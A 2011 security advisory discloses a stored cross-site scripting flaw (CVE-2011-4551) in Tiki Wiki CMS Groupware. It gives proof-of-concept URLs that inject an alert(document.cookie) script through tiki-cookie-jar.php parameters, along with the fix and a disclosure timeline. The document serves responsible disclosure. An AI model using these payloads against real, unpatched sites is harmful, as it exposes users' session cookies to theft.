Advisory: Tiki Wiki CMS Groupware Stored Cross-Site-Scripting Advisory ID: INFOSERVE-ADV2011-07 Author: Stefan Schurtz Contact: security@infoserve.de Affected Software: Successfully tested on Tiki 8.1 & 6.4 LTS (affects all current releases) Vendor URL: http://info.tiki.org/ Vendor Status: fixed CVE-ID: CVE-2011-4551 ========================== Vulnerability Description ========================== All current releases of Tiki Wiki are prone to a stored XSS vulnerability ================== PoC-Exploit ================== Tested with Firefox 7.01 Visit this URL http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site But when you visit one of this pages, the XSS will be executed http://<target>/tiki-8.1/tiki-login.php http://<target>/tiki-8.1/tiki-remind_password.php // browser source code show_errors: 'y', xss: '</style></script><script>alert(document.cookie)</script>' }; Another example: http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script> http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script> http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script> All of them will be executed! // browser source code show_errors: 'y', xss1: '</style></script><script>alert(document.cookie)</script>', xss2: '</style></script><script>alert(document.cookie)</script>', xss3: '</style></script><script>alert(document.cookie)</script>' }; ========= Solution ========= Upgrade to Tiki 8.2 or 6.5 LTS ==================== Disclosure Timeline ==================== 16-Nov-2011 - informed Security Team (security@tikiwiki.org) 19-Dec-2011 - fixed by vendor ======== Credits ======== Vulnerabilitiy found and advisory written by the INFOSERVE security team. =========== References =========== http://info.tiki.org/article183-Tiki-Wiki-CMS-Groupware-8-2-and-6-5LTS-Security-Patches-Available http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-07.txt